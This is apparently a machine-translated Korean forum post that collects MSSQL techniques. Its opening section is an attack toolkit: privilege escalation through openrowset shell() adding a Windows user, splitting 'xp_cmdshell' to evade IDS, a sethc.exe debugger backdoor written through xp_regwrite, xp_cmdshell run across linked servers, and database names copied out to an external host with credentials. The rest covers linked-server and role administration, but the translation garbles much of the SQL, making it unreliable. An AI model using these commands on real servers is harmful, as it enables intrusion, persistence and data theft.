           [OLE/DB 제공자가 반환됨

message: 未知]
           OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. 넷 허가가 잘못되면 프롬프트가 없습니다.

권한을 올리는 마지막 방법은 시스템의 ias.mdb과 cmd.exe을 현재 웹 디렉터리 아래에 세 개의 파일을 업로드하는 net.exe입니다.

Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell

("E:\web\cmd.exe /c E:\web\net.exe 사용자 passwd /add")')
          컴퓨터 사용자를 성공적으로 추가했습니다.






분할 명령 셸이 IDS를 우회하는 방법         
@a sysname set 선언 @a='xp_'+'cmdshell' exec @a 'ipconfig'
선언

@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'





레지스트리 하이재킹 시프트 편집
대장님.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Image File 실행 옵션\sethc.exe','디버거','REG_sz','c:\windows

\system32\cmd.exe' on'; --



링크서버 조회
고르다

SRVID,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e, isremote, rpc, dataaccess, master.dbo.sysservers
고르다

SRVID,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e, isremote, rpc, dataaccess, master.dbo.sysservers



linkserver2 쿼리
select distinct hostname,db_name(dbid),net_address,loginame,program_name

주인님.. sysprocesses



링크서버 조회
그리고 기타 로그인된 사용자들
Select * from [192.168.1.1].master.dbo.syslogins



링크서버 쿼리
모든 데이터베이스
linkedSrvWeb.master.dbo.sysdatabases 중에서 * 선택하십시오



LinkServer에서 확장 저장 수행
exec [ip].master.dbo.xp_cmdshell



링크서버의 모든 테이블을 조회하세요
[ip].master.dbo.sysobjects 중에서 * 선택하세요








OpenRowset에서 * 선택

('sqloledb','server=IP; uid=user; pwd=password','select @@version')


OpenQuery에서 * 선택

이름],'선택 @@version')




select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')'')




OpenQuery(GM_SERVER에서 * 선택, 'sysobjects에서 * 선택, xtype = (''U'')'')


선택 *

openquery(NDOORS,'Select IS_MEMBER(''db_owner')




Select * from openquery(toatdeweb,'select

master.dbo.sysservers'에서 srvname)


OpenDataSource에 삽입하기

('sqloledb','server=222.241.95.12; uid=scd; PWD=A123520; database=hack520').hack520.dbo.zhu 선택

이름은 master.dbo.sysdatabases에서 가져왔습니다
데이터베이스 생성 hack520 TABLE 생성 zhu(name nvarchar(256)

null); TABLE J8(id int NULL, name nvarchar(256) null);


OpenQuery에서 * 선택

(toatdeweb, 'Exec master.dbo.xp_cmdshell 'net user''에서 fmtonly로 설정)


대장님.. xp_dirtree

'c:\',1,1
쿼리 디렉터리를 수행합니다


임원 링크스.마스터.. xp_cmdshell 'ipconfig'


Select * from openquery(toatdeweb,'Set

fmtonly off exec master.dbo.xp_cmdshell''ipconfig /all''')



연결하세요. mysql 선택* Mem_DB에서 연결하세요. UserDB.dbo.AdminList


교장님.. XP_dirtree 'c:\',1,1




임원

master.dbo.xp_cmdshell '디르'


[표시]에서 count(*)를 선택합니다
현재 테이블에 얼마나 많은 데이터가 있는지 조회하세요




별개의 호스트네임을 선택하세요,db_name(dbid),net_address,loginame,program_name

주인님께서.. sysprocesses






GameDB01에서 * 선택하세요. Server01.dbo.cabal_character_table 여기서 이름='

돼지'





삭제하면 다음과 같이 표시됩니다: 데이터베이스가 사용 중이며 삭제할 수 없습니다.


삭제하고 싶은 데이터베이스를 클릭하면 이벤트 뷰어를 엽니다.


입력:


사용   

주인님
가자
그 다음 입력:
@d 바르차르(8000) 선언
집합 @d= ' '
선택 @d=@d+ ' 킬   

'+cast(spid as varchar)+char(13)
주인님께서.. dbid=db_id('라이브러리 이름')
임원(@d)
--
먼저 이 데이터베이스에 연결된 프로세스를 삭제하는 코드를 사용하세요












MSSQL은 LinkServer를 통해 Oracle을 운영합니다






1) SQL_SERVER 2005 서버에 오라클 설치

9i 클라이언트. C:\ora92i\ 디렉터리에 설치한다고 가정해 봅시다. D: 파티션이 NTFS 파티션이라면, ORACLE에 설치된 디렉터리를 사용하는 디렉터리로 설정해야 합니다

구독자는 실행, 추가, 삭제할 권리가 있습니다.


2)
C:\ora92i\network\ADMIN\tnsnames.ora 파일을 설정하세요. (다음 빨간 글씨는 구성의 예시입니다)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.11)(PORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = 오클)


)


)


3)
DOS 모드에서 다음 명령을 실행하여 ORACLE 클라이언트가 올바르게 설치되었는지 확인하세요.


SQLPlus 사용자/password@ORCL


4)
시작 - 제어판 - 서비스를 열고 분산 트랜잭션 코디네이터 서비스가 시작되었는지 확인하세요.



5) 오픈 SQL SERVER 관리 스튜디오, 인스턴스 이름(ORCL) - 서버 객체(오른쪽 클릭) - 새 연결 서버.


1.      


링크 서버: OracleTest와 같은 링크된 서버 이름을 작성하세요


2.         
서버 유형, 다른 데이터 소스 선택


3. 접근 인터페이스:
OLE DB용 Oracle Provider 선택


4. 제품명: Write Oracle


5. 자료 출처: 작성

tnsnames.ora 파일에 설정된 서비스 이름, 예를 들어 ORCL


6.         
액세스 인터페이스 문자열: userid=sysdba로 사용; password=password


7.         
보안 옵션 선택(Select Security Options) 페이지에서 이 설치 컨텍스트를 사용하여 연결을 설정합니다:


a) 원격 로그인: 사용자 (다른 사용자, 시스템 아님)


b)      

    비밀번호: 비밀번호


8. 로컬 로그인에서 원격 사용자 시스템 시스템에 "NT AUTHORITY\SYSTEM"을 설정하고 비밀번호를 설정하세요


9.

         확실한가요


6) SQL을 작성하는 방법은 두 가지가 있습니다


a) T-SQL 문법 사용:


           선택 *

OraTest.ERP.BAS_ITEM_CLASS


           SQL 쿼리 분석기에서 SQL 문장을 입력할 때는 중국어 전폭과 반폭 교환에 주의하세요

진짜!


b) PLSQL 문법 사용:
           SELECT * FROM openquery(OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) 두 번째 접근 방식은 첫 번째 접근법보다 약 50% 빠릅니다; 두 번째 접근 방식은 직접 연결되어 있습니다

ORACLE도 비교 가능하며; 첫 번째 접근 방식은 다음과 같은 예상치 못한 오류를 초래할 수 있습니다:
           테이블이 존재하지 않거나 현재 사용자도 없습니다

테이블에 접근할 수 없고, 이런 식으로 진행됩니다.


           d) 접근해야 할 열이 정밀도 없이 데이터 타입을 사용할 경우, 이 두 가지 모두 해당됩니다

이것은 ORACLE의 버그로, 수정할 수 없으며, 쿼리 문에 대한 특별한 처리를 통해서만 피할 수 있습니다:


     OLE DB 제공업체인 'OraOLEDB.Oracle'이 제공하는 열의 메타데이터는 일관성이 없습니다. 메타데이터 정보는 실행 시 변경됩니다.










MSSQL 추가

사용자를 삭제하고 권한을 부여하세요


도서관 이름을 사용하세요   
가자   
--사용자 추가   
exec sp_addlogin 'test' -- 로그인 추가하기   
임원

sp_grantdbaccess N'test' - 현재 데이터베이스의 정식 사용자로 간주됨   
임원 sp_addrolemember N'db_owner',

N'test' - 자신의 데이터베이스에 모든 권한을 부여합니다   
--이로 인해 사용자는 자신의 데이터베이스와 데이터베이스에 포함된 것에만 접근할 수 있게 됩니다

게스트 사용자를 위한 공개 테이블   
가자   
--테스트 사용자 제거   
exec sp_revokedbaccess N'test' -- 데이터베이스 접근 권한을 제거함

한계   
exec sp_droplogin N'test' -- 로그인 삭제   
Enterprise Manager에서 생성한다면 다음을 사용하세요:   
엔터프라이즈 매니저 - 보안

성 --우클릭 로그인--새 로그인   
일반 항목   
--이름에 사용자 이름을 입력하세요   

--인증 방법은 필요에 따라 선택됩니다(Windows 인증을 사용 중이라면, 먼저 운영체제 사용자 중 새 사용자를 생성해야 합니다)   

--기본 설정에서 새 사용자가 접근할 데이터베이스 이름을 선택하세요   
서버 역할 항목   
이 안에 아무것도 선택하지 마세요   
데이터베이스

접근 항목   
생성한 사용자의 데이터베이스 이름을 확인하세요   
데이터베이스 역할에 허용하고, "public", "db_ownew"을 확인하세요.   
네, 이거

샘플로 생성된 사용자는 위 문장에서 생성된 사용자와 동일합니다   



마지막 단계는 특정 사용자에 대한 특정 접근 권한을 설정하는 것으로, 이는 다음 최소한의 예시를 참고할 수 있습니다:   

--지정된 테이블에만 접근할 수 있는 사용자 추가:   
exec sp_addlogin '사용자 이름', '비밀번호', '기본 데이터베이스 이름'   

--데이터베이스에 추가   
'사용자 이름'sp_grantdbaccess exec   

--전체 테이블 권한 할당   
테이블1에서 [사용자 이름] 로 선택, 삽입, 업데이트, 삭제를 부여합니다.   
--특정 열에 권한을 할당합니다   
GRANT SELECT, table1(id,AA) 업데이트 [username]   


구체적인 보안 설정과 이론적 지식은 SQL 온라인 도움말을 참고해 주세요  







고정 데이터베이스 역할 설명   
  db_owner 데이터베이스에 대한 완전한 권한을 가지고 있습니다.   

db_accessadmin 사용자 ID를 추가하거나 제거할 수 있습니다.   

db_securityadmin 전체 권한, 객체 소유권, 역할 및 역할 멤버십을 관리할 수 있습니다.   

db_ddladmin 모든 DDL을 발급할 수 있지만, GRANT, REVOKE, DENY 진술서는 할 수 없습니다.   

db_backupoperator DBCC, CHECKPOINT, BACKUP 문을 발행할 수 있습니다.   

db_datareader 데이터베이스 내 어떤 사용자 테이블에서든 모든 데이터를 선택할 수 있습니다.   

db_datawriter 데이터베이스 내 어떤 사용자 테이블에 있는 모든 데이터를 변경할 수 있습니다.   

db_denydatareader 데이터베이스 내 어떤 사용자 테이블에서도 데이터를 선택할 수 없습니다.   

db_denydatawriter 데이터베이스 내 어떤 사용자 테이블의 데이터는 변경할 수 없습니다.  





db_datareader, db_datawriter, db_accessadmin 선택해야 해요




5.
SQL Server 인스턴스가 단일 사용자 모드로 시작된 후, Windows 관리자 계정은 sqlcmd 도구를 사용해 Windows 인증 모드로 연결할 수 있습니다

SQL Server. "sp_addsrvrolemember" 같은 T-SQL 명령어를 사용해 기존 로그인 정보를 시스템 관리자 서버 역할에 추가할 수 있습니다

또는 새 로그인 계정을 만드세요.
예시 문장은 다음과 같습니다:


임원sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';


가세요


시스템 관리자 권한 추가하기








(1) 서버 역할 관리


SQL Server에서는 SQL Server 역할 관리를 구현하는 두 가지 주요 저장 프로시저가 있습니다:


sp_addsrvrolemember

그리고 sp_dropsrvrolemember


sp_addsrvrolemember
서버 역할에 로그인 계정을 추가하면 그 서버 역할의 멤버로 만들 수 있습니다. 문법은 다음과 같습니다:
sp_addsrvrolemember

로그인, 역할


sp_dropsrvrolemember
서버 역할에서 로그인 계정을 삭제할 수 있고, 서버 역할에서 제거되면 더 이상 서버 역할을 갖지 않게 됩니다

권한이 설정되어 있습니다. 문법은 다음과 같습니다:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'


그곳으로

@loginname 로그인한 사용자의 이름입니다; @rolename 서버 역할입니다.




(2) 데이터베이스 역할 관리


SQL Server에서는 데이터베이스 관리가 지원됩니다

저장 프로시저에는 여섯 가지 주요 유형이 있으며, 그 구체적인 의미와 문법은 다음과 같습니다:


sp_addrole: 새로운 데이터베이스 역할을 생성하는 데 사용;
sp_addrole

역할, 소유주


sp_droprole: 현재 데이터베이스 역할에서 데이터베이스 역할을 제거하는 데 사용;
sp_droprole 역할


sp_helprole:

현재 데이터베이스 내 모든 데이터베이스 역할에 관한 모든 정보를 표시하는 데 사용됩니다;
sp_helprole ['역할']


sp_addrolemember: 데이터베이스로 전송하는 데 사용됨

데이터베이스 사용자를 역할에 추가하는데, 이 역할은 사용자 정의 표준 역할이거나 고정된 데이터베이스 역할일 수 있으나

애플리케이션 역할.
sp_addrolemember 역할, security_account


sp_droprolemember: 특정 캐릭터를 삭제하는 데 사용됨

가구;
sp_droprolemember 역할, security_account


sp_helprolemember: 데이터베이스 역할을 모두 표시하는 데 사용됨


sp_helprolemember ['역할']






MSSQL LINKSERVER 쿼리


----------------------------------------------------------------------------------
-- 저자 :

htl258(토니)
-- 날짜 : 2010-06-25 22:23:18
-- 버전: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (인텔 X86)
-- 2008년 7월 9일 14:43:34
-- 저작권 (c) 1988-2008 마이크로소프트 코퍼레이션
--

Windows NT 5.1 개발자 에디션 (빌드 2600: 서비스 팩 2)
-- 블로그 : -- 제목:
서로 다른 서버 데이터베이스 간의 SQL 데이터 작업
----------------------------------------------------------------------------------
--1.
링크 서버 생성
--1.1 링크 이름 생성
EXEC sp_addlinkedserver 'LinkName', ''', 'SQLOLEDB', '원격 서버 이름

또는 IP 주소' --
사용자 지정 인스턴스 이름이 있다면 "\instance name"을 추가하세요
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
로그인 생성 (또는 링크 서버 로그인 맵 생성) (한 가지 방법만 선택하세요)
--1.2.1
Windows 인증으로 로그인하세요
임원sp_addlinkedsrvlogin '링크네임'
--또는 '링크네임', 'true'sp_addlinkedsrvlogin EXEC도
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
SQL 인증으로 로그인하기
임시 sp_addlinkedsrvlogin '링크 이름', 'false', NULL, '사용자 이름', '비밀번호'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink', 'false', null, 'sa', '123' */
--2.
링크 서버 관련 데이터 작업
--2.1 쿼리 예시
SELECT * FROM LinkName.database name.schema name.table name
/*例如:SELECT *

출처: TonyLink.Mydb.dbo.tb */
--
2.2 가져오기 예시
SELECT * IN table name FROM LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb

출처: TonyLink.Mydb.dbo.tb */
--
2.3 업데이트 예시
업데이트: 링크네임.데이터베이스 이름.스키마 이름.테이블 이름 SET 필드='값' WHERE 필드='condition'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Persons='g' WHERE Persons='a' */
--
2.4 삭제 예시
DELETE LinkName.Database Name.Schema Name.Table Name WHERE, 필드 이름='condition'
/*例如:DELETE

TonyLink.Mydb.dbo.tb WHERE Persons='g' */
--3은 rowset 함수(OPENQUERY/OPENROWSET/OPENDATASOURCE)를 통해 가능합니다.

방법
-
3.1 OPENQUERY 메서드 (방금 만든 링크 서버의 도움 필요):
--
3.1.1 쿼리 예시
OPENQUERY(LinkName)에서 * 선택하세요, '데이터베이스 이름에서 * 선택하세요. 건축 이름. 테이블 이름')
/*
예를 들어: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 임포트 예시
--3.1.2.1 모든 열을 가져오기
INSERT OPENQUERY(LinkName, 'SELECT * FROM 데이터베이스 이름. 건축 이름. 테이블 이름

') 로컬 테이블에서 * 선택
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

TB에서 */
--3.1.2.2
지정된 열을 가져오세요
INSERT OPENQUERY(LinkName, 'SELECT * FROM 데이터베이스 이름. 건축 이름. 테이블 이름') (열, 열...)
SELECT 열,

기둥... 로컬 테이블에서
/*
예를 들어: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
고르다

범위, 레벨, 결핵 인원
*/
--3.1.3
업데이트 예시
OPEN QUERY(LinkName, 'SELECT * FROM 데이터베이스 이름. 건축 이름. 테이블 이름') SET 필드 = '값' 여기서 단어

세그먼트 = '조건'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Persons='a' */
--3.1.4
예시 삭제
OPEN QUERY(LinkName, 데이터베이스 이름에서 * SELECT * DELETE. 건축 이름. 테이블 이름') 여기서 필드 이름='condition'
/*例

예를 들어: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */
--3.2
OPENROWSET 메서드(생성된 링크 이름을 사용할 필요는 없습니다). 연결된 인스턴스 이름이 기본값이 아니라면, SQL 서버 이름이나 IP 주소로 설정해야 합니다.

"\인스턴스 이름")
--3.2.1 쿼리 예시
--3.2.1.1
Windows 인증 방법 쿼리 (다음 방법 중 하나면 충분함)
SELECT * FROM OPENROWSET('SQLOLEDB', 'SERVER=SQL SERVER NAME OR

IP 주소; Trusted_Connection=yes', 데이터베이스 이름. 건축 이름. 테이블 이름)
SELECT * FROM OPENROWSET('SQLNCLI',

'server=sql 서버 이름 또는 IP 주소; Trusted_Connection=yes', 데이터베이스 이름. 건축 이름. 테이블 이름)
선택 *

OPENROWSET('SQLOLEDB', 'server=sql 서버 이름 또는 IP 주소; Trusted_Connection=yes','데이터베이스에서 * 선택

이름. 건축 이름. 테이블 이름')
OPENROWSET('sqlncli', 'server=sql server 이름 또는 IP 주소)에서 * 선택하세요

주소; Trusted_Connection=예','데이터베이스 이름에서 * 선택. 건축 이름. 테이블 이름')
/*
예를 들어: OPENROWSET에서 * 선택하세요

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=예', Mydb.dbo.tb)

또는 OPENROWSET에서 * 선택

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=예', Mydb.dbo.tb)

또는 : SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=예','선택 *

출처: Mydb.dbo.tb')

또는 : SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=예','선택 *

출처: Mydb.dbo.tb')
*/
--3.2.1.2 SQL 인증 방법 쿼리 (다음 방법 중 하나만 있으면 충분함)
OPENROWSET에서 * 선택

('SQLOLEDB', 'server=sql 서버 이름 또는 IP 주소; uid=username; PWD=password', 데이터베이스 이름. 건축 이름. 테이블 이름)
선택 *

OPENROWSET('SQLNCLI', 'server=sql 서버 이름 또는 IP 주소; uid=username; PWD=password', 데이터베이스 이름. 건축 이름. 테이블 이름)
OPENROWSET('SQLOLEDB', 'server=sql 서버 이름 또는 IP 주소)에서 * 선택하세요; uid=username; pwd=password','SELECT *

출처 데이터베이스 이름. 건축 이름. 테이블 이름')
OPENROWSET('sqlncli', 'server=sql 서버 이름 또는 IP 주소; UID=

사용자 이름; pwd=password','데이터베이스 이름에서 * 선택. 건축 이름. 테이블 이름')
SELECT * FROM OPENROWSET('SQLOLEDB', 'SQL

서버 이름'; 'username'; 'password', 데이터베이스 이름. 건축 이름. 테이블 이름)
SELECT * FROM OPENROWSET('SQLNCLI', 'SQL SERVER NAME)

'; 'username'; 'password', 데이터베이스 이름. 건축 이름. 테이블 이름)
OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; 에서 * 선택하세요; ' 사용자

이름'; '비밀번호', '데이터베이스 이름에서 * 선택. 건축 이름. 테이블 이름')
SELECT * FROM OPENROWSET('SQLNCLI', 'SQL SERVER

이름'; 'username'; '비밀번호', '데이터베이스 이름에서 * 선택. 건축 이름. 테이블 이름')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
또는 OPENROWSET에서 * 선택

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
또는 OPENROWSET에서 * 선택

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')

또는 : SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM

Mydb.dbo.tb')

또는 : OPENROWSET('SQLOLEDB','192.168.58.208'; '사'; '123', mydb.dbo.tb)

또는 : SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; '사'; '123', mydb.dbo.tb)

또는 : OPENROWSET('SQLOLEDB','192.168.58.208'; '사'; '123','Mydb.dbo.tb에서 * 선택

또는 : SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; '사'; '123','Mydb.dbo.tb에서 * 선택
*/
--3.2.2 가져오기 예시
--3.2.2.1 모든 열을 가져오기
INSERT OPENROWSET('SQLOLEDB', 'SERVER=SQL SERVER NAME OR IP ADDRESS)

주소; uid=username; PWD=password', 데이터베이스 이름. 건축 이름. 테이블 이름)
로컬 테이블에서 선택 *
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
선택 * TB에서
*/
--3.2.2.2 가져오기

열 지정하기
INSERT OPENROWSET('SQLOLEDB', 'SERVER=SQL SERVER 이름 또는 IP 주소; uid=username; PWD=password', 데이터베이스 이름. 선반

구성 이름. 테이블 이름) (열, 열...)
선택, 열... 로컬 테이블에서
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb)(RANGE,LEVEL,Persons)
고르다

범위, 레벨, 결핵 인원
*/
--참고: 더 많은 대체 방법은 .2.1 쿼리 예제를 참고하시고, OPENROWSET 함수를 교체하면 됩니다

내용이 충분합니다.
--3.2.3 업데이트 예시
UPDATE OPENROWSET('SQLOLEDB', 'SERVER=SQL SERVER 이름 또는 IP 주소; uid=username

;p wd=password', 데이터베이스 이름. 건축 이름. 테이블 이름)
SET 필드 = '값'
여기서 필드 = '조건'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Persons='g'
여기서 Persons='a'
*/
--참고: 더 많은 대체 방법은 .2.1 쿼리 예제를 참고하세요. OPENROWSET의 내용을 교체하면 됩니다.
--3.2.4 표시 삭제

예시
OPEN ROWSET('SQLOLEDB', 'server=sql 서버 이름 또는 IP 주소; uid=username; PWD=password', 데이터베이스 이름. 스키마 이름

.테이블 이름)
여기서 필드 이름='condition'
/*
예를 들어: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
여기서

Persons='g'
*/
--주:
더 다른 방법은 .2.1 쿼리 예제를 참고하세요. OPENROWSET의 콘텐츠를 교체하면 됩니다.
--3.3 OPENDATASOURCE 방법

(생성된 링크 이름을 사용할 필요는 없습니다.) 연결 인스턴스 이름이 기본값이 아니라면, SQL 서버 이름이나 IP 주소 뒤에 \instance name을 추가해야 합니다

")
--3.3.1
쿼리 예시
--3.3.1.1 Windows 인증 방법 조회 (다음 방법 중 하나면 충분함)
SELECT * FROM OPENDATASOURCE('SQLOLEDB',

'server=sql 서버 이름 또는 IP 주소; Trusted_Connection=예'). 데이터베이스 이름. 건축 이름. 테이블 이름
선택 *

OPENDATASOURCE('SQLNCLI', 'server=sql 서버 이름 또는 IP 주소; Trusted_Connection=예'). 데이터베이스 이름. 건축 이름.

테이블 이름
/*
예를 들어: OPENDATASOURCE에서 * 선택하세요

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=예'). mydb.dbo.tb

또는 : OPENDATASOURCE에서 선택

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=예'). mydb.dbo.tb
*/
--3.3.1.2
SQL 인증 방법 쿼리 (다음 방법 중 하나면 충분함)
SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'SERVER=SQL SERVER NAME OR

IP 주소; uid=username; PWD=password').
데이터베이스 이름. 건축 이름. 테이블 이름
SELECT * FROM OPENDATASOURCE('SQLNCLI', 'SERVER=SQL SERVER 이름 또는 IP 주소; uid=user

이름; PWD=password').
데이터베이스 이름. 건축 이름. 테이블 이름
OPENDATASOURCE('SQLOLEDB', 'Data Source=SQL 서버 이름 또는 IP 주소)에서 * 선택하세요

주소; uid=username; PWD=password').
데이터베이스 이름. 건축 이름. 테이블 이름
OPENDATASOURCE('SQLNCLI', 'Data Source=SQL 서버 이름 또는 IP 주소)에서 * 선택하세요

주소; uid=username; PWD=password').
데이터베이스 이름. 건축 이름. 테이블 이름
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

또는 SELECT: OPEN DATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

또는 OPENDATASOURCE('sqloledb','Data)에서 * 선택하세요

출처=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

또는 OPENDATASOURCE('SQLNCLI','Data)에서 * 선택하세요

출처=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
모든 열을 가져오기
OPENDATASOURCE('sqloledb', 'server=sql 서버 이름 또는 IP 주소; uid=username; PWD=password').

도서관 이름에 따르면. 건축 이름. 테이블 이름
로컬 테이블에서 선택 *
/*
예를 들어: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
고르다

* TB에서
*/
--3.3.2.2
지정된 열을 가져오세요
OPENDATASOURCE('sqloledb', 'server=sql 서버 이름 또는 IP 주소; uid=username; PWD=password').

도서관 이름에 따르면. 건축 이름. 테이블 이름 (열, 열...)
선택, 열... 로컬 테이블에서
/*
예를 들어: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(거리, 레벨, 인원)
TB에서 범위, 레벨, 인물 선택
*/
--주:
더 다른 대안 방법은 .3.1 쿼리 예제를 참고하세요. 라인 세트 함수(OPENDATASOURCE)에서 내용을 교체하면 됩니다.
--3.3.3 업데이트 예시
UPDATE OPENDATASOURCE('SQLOLEDB', 'SERVER=SQL SERVER 이름 또는 IP 주소; uid=username; PWD=password').
데이터베이스 이름. 건축 이름. 테이블 이름
SET 필드 = '값'
여기서 필드 = '조건'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Persons='g'
여기서 Persons='a'
*/
--주:
더 다른 대안 방법은 .3.1 쿼리 예제를 참고하세요. 라인 세트 함수(OPENDATASOURCE)에서 내용을 교체하면 됩니다.
--3.3.4 삭제 예시
DELETE, OPENDATASOURCE('SQLOLEDB', 'server=sql 서버 이름 또는 IP 주소; uid=username; PWD=password').
데이터베이스 이름. 건축 이름. 테이블 이름
여기서 필드 이름='condition'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
여기서 Persons='g'
*/
- 참고: 더 많은 대안

.3.1 쿼리 예제를 참고하세요. rowset 함수(OPENDATASOURCE)에서 콘텐츠를 교체하면 됩니다.
--
링크된 서버 메서드를 삭제하세요
--앞으로 링크 정보를 더 이상 사용하지 않으시면, 링크 정보를 삭제하실 수 있습니다
--4.1
로그인 정보를 삭제하기(또는 연결된 서버 로그인 이름 맵을 삭제하기)
임sp_droplinkedsrvlogin '링크네임', NULL
/*
예를 들어: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
연결된 서버 이름을 삭제하세요
EXEC sp_dropserver '링크 이름', 'droplogins' — droplogins가 명시되어 있다면,
연결된 서버를 삭제하기 전에 로그인 맵을 삭제해야 합니다
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--첨부


제공자 이름 (EXEC 마스터)를 얻는 방법. xp_enum_oledb_providers)
캐스트([제공자 이름] AS 선택

VARCHAR(30)) 제공자명,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
보낸 사람

OPENROWSET(
'SQLOLEDB',
'서버=.; Trusted_Connection=예',
'완전 발사;
집행위원회

주인님.. xp_enum_oledb_providers'
)




이전의:UCloud 취약점 처리 프로세스 및 보상 세부 정보
다음:오늘 기차를 타고 집에 갈 수 있는데, 집에 온 지 반년 넘게 됐어요
게시됨 2017. 9. 27. 오후 5:43:11 |
아주 자세하네요. 감사합니다.
 집주인| 게시됨 2023. 6. 17. 오전 11:12:11 |
SQLMAP 침투 도구를 이용한 SQL 주입 테스트
https://www.itsvse.com/thread-10611-1-1.html
면책 조항:
Code Farmer Network에서 발행하는 모든 소프트웨어, 프로그래밍 자료 또는 기사는 학습 및 연구 목적으로만 사용됩니다; 위 내용은 상업적 또는 불법적인 목적으로 사용되지 않으며, 그렇지 않으면 모든 책임이 사용자에게 부담됩니다. 이 사이트의 정보는 인터넷에서 가져온 것이며, 저작권 분쟁은 이 사이트와는 관련이 없습니다. 위 내용은 다운로드 후 24시간 이내에 컴퓨터에서 완전히 삭제해야 합니다. 프로그램이 마음에 드신다면, 진짜 소프트웨어를 지원하고, 등록을 구매하며, 더 나은 진짜 서비스를 받아주세요. 침해가 있을 경우 이메일로 연락해 주시기 바랍니다.

Mail To:help@itsvse.com